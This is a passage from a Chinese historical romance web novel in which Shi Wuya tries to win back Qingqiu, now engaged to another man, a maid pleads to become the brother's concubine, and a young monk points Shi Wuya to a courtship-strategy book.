“我要你做的事。”师无涯剑眉轻蹙, 夹着信的两指倏然缩紧,似是为难地举着。 清秋只觉师无涯脑子不太好使, 他分明就站在她眼前,却要她拆开信来,难不成没长嘴。 不过清秋懒得和师无涯计较, 一旦争起来就没完没了, 清秋正要去接他手上的信,师无涯侧身夺过她手上的羊角灯。 清秋不语,拆开信。 信上寥寥几个字, 确实不是什么伤天害理、惊天动地的大事,甚至简单得有些让清秋不敢信。 不过,清秋并不想做,也觉无甚必要。 “师无涯, 杭州旧宅已经卖了,我不会陪你回杭州,如此看来这件事也没什么必要做了。”清秋随手扔下笺纸。 师无涯要她陪他回一次杭州旧宅。 “你说什么?”师无涯瞳眸震颤,攥紧羊角灯。 清秋不疾不徐地复述:“杭州的宅子卖了。” “卖了?” 话音甫落,急风乍起,裹着轻浅的草腥气,天边挂着的弯月逐渐隐匿,院子里倏然暗下来,只剩几盏石灯。 这是风雨欲来的前奏,不过清秋暂且将这些抛之脑后。 清秋眉眼轻挑,见他急切的模样,心底觉得好笑,杭州的宅子卖了与他何干,他从前那么厌恶她,怎么到如今还念着那宅子吗。 师无涯朝她逼近,清秋快步走至檐下,且抬手拦住师无涯。 “师无涯,好好说话离我这么近作甚,你毫不顾忌我已定亲,将我置于何地?你从来都是这么自私,想做什么做什么,从不在乎旁人的感受,到如今两年过去你还是如此,师无涯睁大你的眼睛看看,你我早已断了,你三五次的缠着我,我此次就将话说清楚。” 清秋昂首,背脊挺得僵直,她说的每个字都从内心感到畅快,仿佛是将往日的师无涯鞭笞一顿。 她恨师无涯绝情,那么如今他站在她面前,也该体会她当初的心情。 师无涯怎么就会在两年之后再喜欢上她呢。 清秋不愿去想这桩事,只将方才的话继续说下去。 “我已与常也定亲,婚期很快就会定下,我愿意嫁给他,从今往后我与你再无干系,你与付家也断得干干净净,日后抬头不见低头见,还望你大度些。” 师无涯止步于檐下,与清秋一臂之隔,他看得清清秋眼底的冷意与绝情,那不是他第一回看到。 早前杭州相遇,青山寺重逢,清秋都曾用那样的眼神看他。 “什么时候的事?”师无涯未曾将她的话听进去,只是问她什么时候将那宅子卖了。 清秋心情甚好,看他落寞,清秋心底就快意。 “回汴京的前一日,不妨再同你说一句,付家再不会回杭州,师无涯就此作罢吧。”清秋冷声道。 话落,杏院枯枝摇曳,风声疏狂,颇有席卷万物之势。 师无涯衣诀翻飞,腰间红符袋飘飘然,他垂头不语,没再看清秋。 须臾,夜空中坠下白珠,豆大的雨砸在青砖白瓦上。 清秋立于檐下,能避开风雨,可师无涯站在檐外,不过片刻就已被大雨淋湿,他毫无离开的意思。 清秋微怔,竟生出一丝怜悯,那念头只存在片刻,回首她追着师无涯的十二年,师无涯淋些雨算什么,到底是便宜他了。 方才的信在地上被打湿,现下已不知打落到哪里。 清秋心有不忍,转身回屋,取了把伞扔给他,凭他的伸手接住一把伞不是什么难事,可那把伞却从师无涯的身边滚开。 不识好歹。 清秋凝眉,不愿再理他,正欲转身进屋,师无涯却倏然抬头,声音沙哑,却又有穿透雨幕的力量。 “那宅子里的东西,你可知道是什么。”师无涯鼻尖一酸,眼角余泪混着雨水一道淌下。 清秋不转身,冷声道:“与我有什么干系,你不是回去了?怎么自己的东西都不带走?” 师无涯也曾在杭州旧宅里住过几年,可到底是她付家的东西,她有支使的权利,况且师无涯早已与付家断绝关系,难不成她还要去问他能否将宅子卖了。 实在荒唐。 师无涯喉间哽咽,鸦黑的眼睫挂着圆润的雨珠,雨水顺着眼角流下。 从前他觉清秋蚀骨剜肉般的变了个人,如今师无涯也觉自己有了那般滋味,那剜肉般的疼痛自心脏而始,蔓延至四肢百骸。 师无涯惊觉从前的十二年他太过高傲张扬,自以为清秋会永远站在原地,只要他肯,清秋就能回心转意。 可如今看来,不是这样的。 清秋当真不在意他了,待他毫无情意,可他们从前有过十二年的朝夕相处,就如此泯然了吗。 师无涯兀自摇头,泪如雨下。 他悔了。 “不是这样的,那是我少时想赠给你的东西。”师无涯抑住喉间呜咽声,缓缓吐出这句话。 此夜风雨飘摇,清秋身心俱冷,薄薄的风吹进檐下,少许雨丝刮在她的脖颈间,身后师无涯的视线又如此的灼热。 清秋见师无涯意图辩驳,冷下脸道:“师无涯,你为什么总要在意过去的事,我都已经忘了,你也忘了行吗。” 师无涯听她如此冷然,好似明白了些什么。 “清秋,你是不是恨我。”他沉声问道。 冷雨打湿他的衣衫头发,在寂寂雨幕中可怜又无助,他只盼着清秋能回首看他一眼。 闻言,清秋倏地转过身,眉梢轻挑,唇边勾起极冷的笑,淡声道:“恨?从前恨,如今不恨了,有爱才能生恨,我对你早已没了当年的心思,何谈爱恨?” 师无涯心脏抽疼,他颤颤抬眸,紧紧盯着清秋的双眸。 是啊,由爱生恨,清秋不爱他,就不会再恨他。可这样,比恨他还难以承受,他情愿清秋恨她,如此,还能从万千恨意中剥出一丝爱。 “清秋,清秋——” 师无涯箭步奔至檐下,企图将她拉入怀中,清秋连连后退,见他疯了一般地靠近她,不由得生出几分惧意。 清秋忙要关门,师无涯眼疾手快伸手摁住门的边缘。 他的手卡在门缝中,清秋想也不想地使力关门,谁知师无涯竟不怕疼的与她对抗,他那只手还裹着绢布,现下被压得出血。 清秋气得柳眉倒竖,横竖师无涯就是要纠缠她,清秋索性甩手松开门,一个哼声转过身。 师无涯因惯力跌进门内,见清秋背过身去,心头惆怅,可他不愿就和清秋如此散了,从前他不愿说的话,他如今想立即告诉她。 “清秋,不要嫁给王恒,不要嫁给他。”师无涯试图将她转过来,可手上的绢布渗出血痕,他怕污了清秋的衣裙,只得作罢。 “你疯了。” “我是疯了,为了你在军中病了千百回。”师无涯急切道。 他身上淋过雨,处处透着寒凉,清秋恼意横生,全然不想理他,岂料师无涯能说出如此不要脸的话。 “师无涯你若想要回你的东西,如今这儿还有一件,你全数带走,别再来招惹我。”清秋动身往书案边去,她蹲下身从书架底抽出红木匣子。 那匣子里的东西师无涯当年送她的及笄礼,直到如今清秋都未打开看过,在她看来这个东西并无意义。 清秋取出里头的东西,递还给师无涯。 师无涯见那木盒这么多年都未曾打开,心下悲凉,当年清秋想要一架秋千,可他已在杭州为她做过,她的笄礼值得更好的东西。 “你拆开看看。”师无涯眼尾泛红,星眸蕴泪。 这么多年,清秋对这及笄礼毫无好奇心,甚至将它放的远远的,从不曾打开。 如今师无涯要她拆开看看,清秋反倒生出几分好奇心,加之今夜她在棠院见到师无涯送她姐姐的生辰礼,越发的好奇当年师无涯送她的是什么。 清秋点起灯烛,房内骤然明亮,瞳瞳安分地躲在猫笼里,圆润的瞳眸打量着两人。 两年了,清秋从未打开这木盒,当年她猜这里头是簪子,如今就要揭晓谜底了。 师无涯走至她身旁,视线流转间,他见到红木匣子里层层叠叠地一沓笺纸,笺纸上的字迹歪歪扭扭,依稀看得清“师无涯”这三个字。 他抬步绕到清秋的另一侧,悄然蹲下身,他小心翼翼地拿起一张笺纸。 ——再不要喜欢师无涯。 他看了一张,随后又飞快地捡起下一张,一张又一张,仿佛永远翻不尽。 师无涯不知清秋写了多久,亦不知她是从何时开始写的,那拙劣潦草的字迹,墨痕早已干透,笺纸上有凹凸不平的褶皱,好似被晕染开来的水痕。 他发梢的水珠落在笺纸上,绢布上的血痕也蹭了不少在上面。 清秋已拆开木盒外裹着的锦布,纤细的手指磨蹭木盒上的花纹,精巧别致,这花样在汴京并不常见,清秋一时没能认出。 清秋打开木盒,如她所想,里头确实是簪子,银簪泛着漂亮的光泽,上头缠枝的有几枝花,白玉雕琢的花瓣栩栩如生,很是眼熟,可一时之间清秋想不起是什么花。 这簪子固然是好看的,可又有什么意义。 师无涯听她打开木盒,垂下眼睫,低声道:“是茉莉。” 清秋愕然抬眸,线长的睫羽微不可见地轻颤,她的心似是被什么轻轻抚过,生出密密麻麻地痒意。 茉莉莫离。 清秋本不愿再为师无涯流泪伤怀,可就在他说出这句话的那瞬间,她仿佛见到了两年前的自己。 倘若两年前她拆开师无涯的及笄礼,她会是怎样的高兴,那时她满心满眼的都是师无涯,师无涯送她茉莉,是否就代表着定情。 清秋轻闭双眸,摇了摇头,就算当年她见到这份生辰礼,但后来的一切,也会让她再度怀疑师无涯待她是否有情意。 无论师无涯送些什么做些什么,都不如他当年亲口对她说一句,“清秋,我心里有你。” 师无涯从未说过这样的话,反而对她姐姐说了。 她从未看到过师无涯对他的喜欢,师无涯待她仿佛只有逗弄,高兴时哄一下,不高兴了推开到一边。 清秋手颤,没拿稳那簪子,木盒连同簪子一起滚到地上,簪子碎裂两半,木盒滚到书案一角。 这一声玉碎簪落,让清秋陡然惊醒。 第56章 “那我就毁了这个婚约。”…… 冷风灌进房内, 书案上的烛灯飘摇不定,菱花窗边洒下清明的月光。 清秋眼睫低垂,见师无涯蹲在红木匣子旁, 便知师无涯都看见了, 清秋本就无心遮掩这些事, 做过就是做过,她行得正,不惧过往那些事。 “都看见了?所以师无涯, 我真的不喜欢你了。”清秋淡声道,不似方才语气稍有快意。 师无涯缓缓起身, 漆黑的眼瞳犹如深渊, 他垂眸,久久的凝视。 “清秋,我不信。”他沉声道。 他不信清秋两年就能忘掉十二年积攒的情意, 纵使她情愿嫁给王恒,他也不会让他们二人轻易成婚。 他们是有过婚约的。 “有什么不信的, 人心易变,人易变,如此而已。”清秋仰头直视师无涯, 毫无怯意, 毫无轻易。 “你当真要嫁给王恒?”师无涯又问她一遍。 清秋眸光忽亮,唇畔含笑,笃定道:“自然, 我答应了他,这是我和他的诺言。” 师无涯不紧不慢地靠近他,眉梢风流不羁,他的靠近逼得清秋腰肢抵紧了书案, 师无涯迫人的气势凌冽在上,清秋支手撑着书案,别开头。 “那我就毁了这个婚约。” 师无涯语气深深,全然不复方才落魄可怜的姿态,他眼底腾起些许笑意与狡黠。 清秋惊得睁眼看他,凝眉道:“师无涯,你这样做置我于何地?” “清秋,我们是有过婚约的。”他双手支在书案上,将清秋圈在他的范围内。 “所以呢?”清秋厉声反问。 师无涯眉梢轻扬,眼中湿润,勾唇道:“所以我们是天生一对。” “歪理。”清秋瞪他一眼,推开师无涯,师无涯自然而然地往后退。 “师无涯你向来高傲,如今我说我不愿意,你却要为难常也,你与常也相比才可谓是‘失之毫厘,差之千里’”清秋缓声道,“你若真毁了我和常也的婚事,师无涯我这辈宁可出家做姑子,一辈子不见你。” 师无涯眸光微滞,他明白清秋性子倔,她定然是做得出来的。 他固然可以向官家请旨赐婚,可清秋的这句话不由得让他心生害怕,为何他就是不能撼动她分毫。 “你究竟想怎样?”师无涯心中生恼,却对清秋又无可奈何。 清秋不紧不慢地理了理衣襟,从房里取了件大氅给自己披上,随后大开房门,让冷风吹进房内。 寒冷扑面,吹得师无涯面色僵白,他身上的衣裳湿冷,凉意刺进肌肤,这会风一吹又更冷了。 清秋侧开身,朝他道:“我想的事很多,师无涯你不是想娶我吗,那就看你有没有诚意了,我这个人就是如此,你从前对我做过的事,我要你加倍奉还。” 师无涯眉头紧蹙,目光疑惑。 “当年,我可是为你几度自戗,还有,你在保神观以我的命还我姐姐的命,直到如今我都记得。”清秋唇角轻弯,可眼底却是一片冷意。 “所以,你还是恨我?”师无涯思忖道。 清秋没回应,只道:“你要去雨里跪上一天一夜,我可以告诉你我把杭州旧宅卖给了谁。” 话音甫落,师无涯夺门而出,带起一阵寒风。 清秋心下讶然,他竟真跪在雨下,雨如跳珠,落在他身上,他眉眼散漫无调,在雨中仍旧如此。 这一场雨清秋不知是何时停的,待她醒来时,师无涯已不再门外,雨后碧空如洗,院中湿润,因要入冬多添几分寒气。 云露捧着点心从廊下走来,欢喜道:“姑娘,夫人今日已将婚期定了,本想叫姑娘看看,不过姑娘睡着,李妈妈便也没催姑娘,叫姑娘醒了再去正房里瞧瞧。” 清秋目光停在青梅树的两个小坑,浅浅的水坑蓄满了水,想来昨夜师无涯就是跪在了那儿。 “母亲既有决断,我便不去看了,这两日又开始疼了。”清秋揉了揉膝盖,转头朝云露道:“今儿你去问问观墨,常也得空时我去送送御寒的衣物,天越发的冷。” 语罢,清秋回屋换了件衣裳,云露随她进屋,道:“昨夜绿柳姐姐仍在二郎君房里,这两日都不曾回来。” 按说她去请绿柳回来,绿柳应当回来服侍姑娘,可到如今都不见绿柳回来,倒像是成了二郎君房里的半个主子。 思及此,云露后背一凉,如今付高越正缠着韦南风要娶盛婼,怎么会放绿柳在房里,这也太怪了些。 “绿柳因何不肯回来?当真要我去请她,她才罢休?”清秋凝眉,语气冷冽。 这个节骨眼上,绿柳赖在付高越房中实在不像话。 清秋正为付高越的亲事烦心,这会绿柳又不肯回来,显然是想留在付高越身边。 清秋起身出门,绿柳不肯回来,她就亲自去请她。 还未踏出院子,就见吕汀英抱着团圆往杏院来,清秋远远望了一眼,忙迎上去。 “嫂嫂,你作何要来我这儿?”清秋疑道。 吕汀英笑道:“且先帮我抱抱团圆,昨日夜里我带团圆去瞧了瞧母亲,李妈妈同我说了些话,我晓得你为高越说话,故而我来问问你,心里是如何想的。” 昨日她听韦南风的意思,是不愿让付高越娶盛家的姑娘。 吕汀英本不想趟浑水,她上有婆母压着,这些事儿她本不该插嘴,可转念一想,清秋又为这事儿烦着,便来问问清秋心里是如何想的。 清秋听她如此说,忙请她进屋坐下,云露随即奉茶,随吕汀英一道的妈妈从清秋怀里接过团圆。 “嫂嫂既然来问我了,我便如实相告,先前我本是想为盛姐姐寻个公道,可这事实在太难,二哥哥才出此下策,一来是为保全盛姐姐的名声,二来是让我别再插手此事。”清秋垂眸道。 吕汀英大抵知道这其中的因果,她虽困在内宅,但往日里随她父亲一道读书,对朝堂的事颇为敏感,况如今她的丈夫又在朝为官,多多少少知道些。 不过她晓得的终是有限,这些浮在面上的姑且看得明白,可若细论起来又繁复得很。 “清秋,这事本就复杂,何况又是与盛家有关。先前我也劝过你,如今高越出的这个主意倒也不错,母亲不情愿估摸着也是因那盛三姑娘名声不佳。” 吕汀英打量着清秋,见她神色淡淡,复又道:“这事不难,想来你也是答应了你哥哥才去说了那番话,听你说那盛三姑娘品行不错,只要不误了你哥哥,我倒愿意帮你说些话。” 清秋眸光一亮,讶然道:“当真?” 吕汀英含笑点头,清秋登时起身,忙道:“多谢嫂嫂。” 因吕汀英的一番话,清秋心生欢喜,在房中足足等了一日,晚间云露去打探消息,不多时,吕汀英便抱着团圆来杏院。 云露跟在吕汀英身边,清秋见吕汀英来,忙问:“如何了?” 吕汀英眉目轻敛,轻叹一声。 清秋见罢,正欲开口劝慰吕汀英,却见她眉梢一喜,笑道:“成了,不过这事得快,你今日便和你二哥哥说明白,她过门恐怕礼数不周,母亲心有不愿你晓得的。” 闻言,清秋又惊又喜,方才的话哽住,一时间不知说些什么。 “嫂嫂,当真没骗我?” 清秋心下疑惑,原先她也与韦南风说过,只听那意思是怎么都不行,如今吕汀英却将这事轻松拿下,她这个嫂嫂竟有这番本事。 吕汀英抬手点她额心,道:“我骗你作甚。” —— 付高越见韦南风松口,便请人做媒,要去盛家提亲,这事吕汀英听说,觉得不妥,先让人将付高越拦下来。 如今盛婼人在将军府不在盛家,盛家又是张丽娘做主,定然不成。 吕汀英替付高越出了主意,叫付高越去将军府提亲,由广威将军做主,亦由广威将军出嫁妆,嫁妆无论多少,只要盛婼不走盛家出嫁,那就由不得盛家做主。 再者说,盛佯怎会轻易让盛婼出嫁,只有将人放在将军府最为妥当。 付高越听吕汀英一席话,后知后觉,连忙作揖道:“多谢嫂嫂,还是嫂嫂思虑周全,我这就去准备。” 吕汀英摆摆手,轻声道:“你这是关心则乱,罢了,我也是受你妹妹的人情,先前我身怀六甲又是你妹妹陪在我身边,而今清秋来请我帮她,我岂有不帮之理。” 言罢,吕汀英回了院,见清秋候在院前,赶忙上前,握住她的手,道:“你在这儿吹风作甚,瞧瞧你手冷的。” 清秋身披卷草纹棉袄,手心沁凉,吕汀英掌心温热,暖着她的手心。 “你进屋等着我就是了,作甚要出来。”吕汀英嗔道,“实打实是个任性的!” 吕汀英拉过她的手往屋里去,又命人煮些姜茶来,团圆在摇篮中酣睡,清秋走近团圆,轻轻摇着团圆。 “你二哥哥的事成了,怎么还郁郁寡欢?”吕汀英捧着瓷碗,将姜茶递给她。 清秋抿唇轻笑,顺手接过,轻声道:“我是有些事想问嫂嫂,尹姐姐离开汴京前,给我留了句话,我解不出来,想请嫂嫂帮我解一解。” 吕汀英临窗坐在榻上,手中捂着暖炉,疑道:“什么话?” “满腹空心思,到头是始终。” 吕汀英微怔,眸子一转,生涩一笑:“她当真对你说了这话?” 清秋搅着姜茶,微微颔首。 “她定是叫你自个儿悟,能解出来的,恐怕只有你自己,这我也难解。”吕汀英别开眼,望向别处。 尹惜做事想来无章法,如今给清秋这么句话,不就在说竹篮打水一场空吗。 到头来,是始终。 第57章 做妾 尹惜给清秋留的话, 吕汀英不好戳破,只装做不晓得,将话绕开。 清秋见她不知, 亦不再问, 陪吕汀英说了会话便要回杏院, 云露半扶着清秋,秋冬交替之时清秋膝盖疼,总使不上力。 杏院前灯烛幡然, 房门前有一人影踌躇。 云露见罢,扬声吼道:“谁在哪儿?鬼鬼祟祟的作甚?” 那人听声音, 忙回过身, 三两步跑至清秋跟前,云露这才看清人,竟是久久不回杏院的绿柳。 绿柳一见清秋便直直跪下, 她还未开口,就已有泪涌出, 她道:“姑娘姑娘,绿柳有一事想求。” 云露被绿柳这一举动吓得不轻,扶着清秋的手不自觉地紧了紧。 “你要作甚?起来说话。”清秋凝眉道。 绿柳在她身边多年, 从未如此言辞铿锵过, 她若是遇着委屈了,清秋自然要为她鸣不平,可若是旁的事, 清秋却要思量再三。 “姑娘,我本不该有此等想法,可姑娘我愿意一辈子跟着姑娘,愿意一辈子在付家服侍姑娘郎君, 如今二郎君即将娶妻,我求姑娘让我做二郎君的一房妾室,或是让我一辈子服侍二郎君,姑娘开恩。” 绿柳字字泣血,似在诉说什么山盟海誓,语罢,她又不停地磕头,一次又一次地栽进泥里。 云露瞪大双眼,惊道:“绿柳姐姐,你在说什么!快起来,莫叫人看了笑话。” 清秋收回搭在云露臂弯上的手,垂眸看着云露,“绿柳,你晓得你在说什么吗?” 绿柳泣声道:“姑娘,我知道,二郎君救过我的命,我只想留在二郎君身边,姑娘不是答应过我,会让许我一桩事吗,我只这样一个请求,姑娘。” “绝对不行。”清秋冷声回拒。 倘若绿柳留在付高越身边,那将来盛婼进门何等的难堪,何况盛婼又是认得绿柳的。 “姑娘为何如此狠心,二郎君心中亦有我,姑娘为何不愿!”绿柳仰头看清秋。 清秋冷眼相对,柳眉紧蹙,“绿柳,你要什么不好,非要留在二哥哥身边,你若只是忠心服侍倒也罢了,可你竟想做二哥哥的妾,你可知她娶的盛姐姐?你让我情何以堪?” 她的女使,要做她哥哥的妾室,这自小的情意,悄然变了。 “姑娘,我待二郎君是真心的,将来盛三姑娘做主母,我也会服侍盛三姑娘,绝不争抢。”绿柳光洁的额头沾满污泥,一双泪汪汪的眼睛渴求的盯着清秋。 清秋默声不语,云露一个劲地朝绿柳使眼色。 “绿柳,你离开付家吧。”清秋抬步往屋里去,绿柳见状攥紧了清秋的裙裾。 “姑娘你骗我!你骗我!”绿柳哭道,嘶喊声刺破长夜。 清秋垂首看着她,“云露,愣着作甚,带绿柳下去,明日把身契还给她,别让母亲晓得了。” “姑娘,你太薄情了!从前我在你身边尽心尽力的服侍,如今我只求姑娘这一件事,姑娘却不肯应我。”绿柳挣开云露的手,朝清秋扬声喊道。 “现如今姑娘想把我打发出府吗,先前姑娘说的话竟是哄我的。” 云露见绿柳如此魔怔,拦又拦不住,只得朝清秋求情,“姑娘,看在绿柳姐姐多年服侍的份上,就让绿柳姐姐留下吧,姑娘,绿柳姐姐兴许只是一时迷了心智。” 清秋冷然回首,沉声道:“你要什么不好,偏偏是这件事,我绝对不应!你只管说我薄情寡义,二哥哥救你一命,你反倒赖上他。” 绿柳早先不提,偏偏是在这个时候,盛婼嫁到付家,清秋本就觉得是权宜之计,如今还要盛婼嫁过来看着绿柳做妾,岂不是在打盛婼的脸。 绿柳在付家十几年,又是她的贴身女使,少不得有人看绿柳的眼色行事。 旁的事清秋尚且能斟酌几分,可这件事是绝不能的。 绿柳决然道:“姑娘,你若不应,我便去求二郎君,我宁愿在二郎君身边当牛做马。” 清秋命云露拦下她,云露擦了擦绿柳额头污泥,悄声道:“绿柳姐姐,别和姑娘置气啊,姑娘也是为着盛三姑娘着想,绿柳姐姐怎么这会倒弄不清楚了呢。” 清秋坐至亭下,心烦意乱,见绿柳哭得梨花带雨,心下亦难受得紧。 她与绿柳打小一起长大,虽说有些嫌隙,但到底是有情分在,清秋不愿见她如此,但她实在无法答应。 “绿柳,换一个吧,别让我为难。”清秋沉声道。 绿柳摇了摇头,“姑娘,我这辈子除了姑娘,就是二郎君,求姑娘开恩让我服侍二郎君,纵使不是一房妾室,只是个女使我也情愿。” 绿柳意志坚决,清秋明白,是劝不动她了。 “绿柳,容我想想,今日你先去歇着吧,云露你带绿柳去歇歇吧。”清秋支手扶额,眉心紧蹙。 如今什么事都冒出来了,没一桩是顺心的。 清秋心中难以抉择,一面是绿柳,一面是盛婼,二者都是她看重的人,如今竟要她选一个出来。 —— 次日一早,清秋心头正为绿柳的事烦着,却见付高越踏进杏院,付高越满面春风,眉眼含笑煞是欢喜。 清秋敛起愁容,勉强扯出笑,问:“是什么事这么欢喜?” 付高越笑道:“盛三姑娘的事定下来了,母亲已请人去将军府,过两日我与母亲亲自去提亲,广威将军明日做东,有盛三姑娘我们一道去罢。” 付高越笑得欢,清秋心头却更焦,绿柳的事尚未有个定论。 “清秋,你好似不欢喜,是——”还不待付高越说完,绿柳便从廊下奔来,扑跪在二人身前,她额头还肿着,眼皮高肿。 清秋见此,扬声大喊:“云露!” 云露一个没看住,就见绿柳跑了出去,还正巧撞上了付高越,云露伸手拉绿柳,绿柳使了蛮劲,推到云露。 “二郎君,姑娘要我回杏院,可我不愿,二郎君在杭州救我一命,我只盼着留在郎君身边。”绿柳双眸红润,落泪哭诉。 付高越眉头紧皱,看向清秋,清秋已对绿柳无话可说,绿柳直接求到了付高越头上,全然不顾她的处境。 如今更是将她置于两难的境地,清秋长舒一口气,朝付高越道:“都是你惹出来的,你说如何办。” 付高越垂眸看绿柳,沉声道:“往日我就说过,我救你只是因你是清秋身边贴身的女使,又在付家许久,这才救你,不需要你为我做些什么。” 绿柳似料到付高越会如此说,她止住泪,眸光忽闪,复而又潸然落泪。 “二郎君如此说,我知道其中缘故,可二郎君你还记得那日在杭州,你喝醉了酒,是我在房中照顾,郎君拉着我的手不肯松,叫我一夜不能眠” 闻言,清秋和付高越的脸色变了又变,清秋眸光一凛,直直看向付高越。 “二哥哥,你做的好事!”清秋气得胸口疼,绿柳如此坚决,原因竟都在这一层。 千算万算,清秋都未曾想过,绿柳竟已经破了身子,如此一来,绿柳日后也不好再嫁人。 付高越当真在外寻花问柳也就罢了,可这宅子里的传出去岂不难堪! “二哥哥你在外是没学些好东西了,绿柳我是留不住你了,你要走要留全看二哥哥,倘使你要走我许你一笔银子,你要留我们日后主仆情份也就罢了。”清秋冷声道。 杭州那日的事,付高越已记不清,绿柳如今说起来他又觉自个儿好像却是攥住了她的手。 清秋转身离开,云露见形势不对,忙跟着清秋出了杏院。 “别跟着我。”清秋侧目道。 清秋只身一人出了府,近来她没过过一天安生日子,前有师无涯翻墙,后又盛家出事,如今又是绿柳铁了心的要做付高越的妾室。 是夜,长月高照,夜风萧索。 清秋戴着幂篱在西大街闲逛,生出些许闲心,这两日难得松快,她欲往州桥去,还未走两步,便见有一瓜果将军生得浑圆翠绿,倒不像汴京的手艺。 不过现下她胸口郁闷,还不太饿,吃不下这些东西。 —— 汴京城外,青山寺。 师无涯拦在元智的门前,长臂一伸便将元智拦在屋里,元智怨怼地盯着他,无语道:“郎君,你要干嘛,能说的我都说了,与付娘子有关的便是先前同你讲过的。” 师无涯轻咳一声,眸光乱转,倏地收回手,僵直站着。 “不是这事。”师无涯低声道。 元智咂咂嘴,浑圆的眸子一转,问:“那是什么事。” 师无涯犹豫半晌,吞吞吐吐,“你想喝酒吗。” “大半夜的,我明日晨起诵经,郎君明日再来吧。”元智转身要去脱衣就寝,谁知师无涯三两步立于他身后,一个爆栗落在他头上。 元智疼得鼻眼紧皱,嘴里直呼疼,大喊:“郎君你发什么疯,付娘子不喜欢你,你揪着我作甚,再说我瞧那王郎君比你好千百倍,要我是付娘子我也选王郎君做夫君” 话在前头说,脑子在后面追,元智忽觉身后有一阵寒气,太过骇人。 “不过话又说回来,师郎君一表人才,也是个好人哈哈。”元智后背一颤,汗毛倒竖,这迫人的气势,实在可怖。 师无涯眸光稍缓,长睫低垂,抬手揪起元智的后领。 “陪我喝酒。”师无涯不给元智回绝的余地,揪着人就往后山零落的红枫处去。 元智见推脱不得,也免得挣扎,到了后山,元智挖出藏好的酒,分了师无涯一坛。 “你的酒不好喝。”元智嫌道。 师无涯屈膝坐下,把酒倒出,递给元智,探问道:“你觉得付娘子是个什么样的人。” 第58章 三十六计 元智嫌弃地接过师无涯的酒, 悄无声息地倒掉,而后又倒了自己酿的酒。 “付娘子人美心善。”元智努努嘴,尝了口香醇的清酒, 他自个儿酿的酒比外头酒楼里的要多些甜味。 师无涯见他倒了酒, 也没说什么, 只是哑声问他:“没了?” 元智笃定道:“没了。” 师无涯仰头看明月,深秋已过,风沁人的冷, 他想起往日在杭州时,清秋和他坐在青梅树下看月亮的情形, 一切都那么的清晰。 可惜杭州旧宅已被清秋卖了。 良久, 师无涯转过头对元智道:“你与我讲了清秋那两年在寺里的事,那我与你讲些别的吧。” 闻言,元智忙凑近了师无涯, 侧着耳朵倾听。 当初在杭州时,他就想听师无涯与清秋是何关系, 如今师无涯竟然主动讲起来了。 师无涯向元智讲述了曾经在杭州的所有过往,她们是如何定亲,又是如何在杭州生活, 元智听他娓娓道来, 难得从师无涯的眼中看到几分动容的柔情。 元智头一次见师无涯就是在杭州旧宅,那天夜里元智只觉此人行事乖张,脾气还有些傲, 后来几次再见,虽有救命之恩,可也是冷傲得很。 没曾想师无涯竟还有这等伤怀姿态,元智斜睨一眼师无涯, 不由得瑟缩了一下,颇为怪异。 不过话说回来,元智从师无涯口中听到了另一个清秋,他往日所见到的清秋,说话虽有趣,可她总是雾蒙蒙的,像是被蒙了一层薄纱,看不清她到底想什么,如今师无涯一说,元智便有些明白了。 原是因师无涯才会来青山寺修行,只是元智不明白,为何师无涯会对清秋做出那等绝情的事。 元智义愤填膺地道:“是你先负了付娘子,还撕毁了婚书,岂不是叫付娘子的一片真心都化成了灰,如今看来你真比不上王郎君分毫。” 师无涯紧了紧手中酒坛,眉心轻拧,余光瞥向元智,道:“那王郎君就这般好,我与清秋相识十四年,我比他了解清秋。” 元智不晓得哪儿来的胆,一脸正气的讥讽道:“师郎君,你都不曾问过付娘子想要什么,你凭什么说了解付娘子。” 认识的年岁久,并不能说明他二人心意相通。 倘使师无涯当真了解清秋就不该做出令清秋伤心的事,元智愤懑地盯着他,见师无涯仍旧凌然傲气,更觉窝火。 “师郎君,如此笃定付娘子非你不可,那付娘子又为何要答应别人的亲事,既已和付娘子分开两年有余又何苦再缠着付娘子,叫付娘子难堪,师郎君你这是在棒打鸳鸯。”元智愤愤道。 师无涯微怔,心虚地别开眼,元智说的话有几分道理,只是他不肯认,他绝不会让清秋另嫁他人,这么多年,他绝不信清秋将他忘得一干二净。 思及此,师无涯倏然起身,眉梢轻扬,似笑非笑地盯着元智。 元智见他目光狡黠,心中不安,身子往后倾斜,防备道:“怎么,戳中师郎君的心事,还是揍我一顿不成?我把话说在前头,你敢打我我就找付娘子哭。” 师无涯眼中生出几分笑意,连带着眼角的红痣也变得妖冶,他勾唇笑道:“我不打小孩,你帮我个忙,我谢你,日后再为你卖糕点替你诵经如何?” 元智瞧他这副模样就知道他没安好心,但又忍不住师无涯的诱惑,师无涯这话不就摆明要做他的奴仆? “什么事?别是什么伤天害理的事,也不要叫我去拆散王郎君和付娘子。”元智心下松动,半信半疑松口。 师无涯双手环臂,挑眉道:“那我就要拆散他们呢?” “坏人姻缘是伤功德的事,师郎君还是别轻易做。”元智正色道,“师郎君还是别缠着付娘子了,前些日子师父看过二人的八字,是天生良配,再找不出第二对的。” 师无涯不以为意,不屑道:“那往日我和清秋也曾合过八字,写下婚书,我的聘礼都还在付夫人手中,那我和她是绝配。” 元智又急又气,直骂道:“不讲道理,师郎君你也太不要脸了!” 师无涯不再逗元智,他轻咳两声,看向元智的目光有几分闪躲和为难,他凑近元智,压低声音道:“你可有什么法子让付娘子回心转意?” 元智眉心皱成川,不肯松口,义正言辞地道:“我只是个修行的小僧,才没有什么法子。” “当真?” 师无涯打量着元智,拿出审犯人的气势胁迫他,元智眸光一闪,心下生出坏主意,面上仍郁闷。 元智故作为难道:“先前贺夫人在寺中修行时,就与我讲过好些书,其中不乏什么破镜重圆,什么《追妻三十六计》诸如此类,我听贺夫人说颇为有用,贺大人到不让贺夫人看这些,贺夫人就将书藏在了客堂下的床榻里,到如今都还未带走,师郎君不妨去看看。” 师无涯蹙眉,揣摩着元智的话,尹惜都爱不释手的书,说不定真有些用。 只是这些书名未免太过直白,师无涯思索再三,转身扬长而去,元智见她走了,忙扬声道:“贺夫人的客堂在西边的第三间!” 待师无涯走后,元智捂着嘴偷笑,那些书是尹惜闲时看的,里头尽是些馊主意,元智依稀记得,当初尹惜看了那些书,直骂贺清是个书呆子。 尹惜常来青山寺修行,元智最初与尹惜相熟也是因尹惜偷了酒,每回偷走后还留下字条:借酒消愁,造福一方。 每每见到这些字条,元智嘴角直抽抽。 不过自清秋上青山寺后尹惜来的次数变少了,元智曾问过尹惜,尹惜却笑得格外轻柔,摇了摇头道。 “郎君善妒,家中又有婴孩,不能久久离府。” —— 趁着月色明亮,师无涯推开积灰的客堂,从元智所说的床下翻出了好几本书,其中真有《追妻三十六计》。 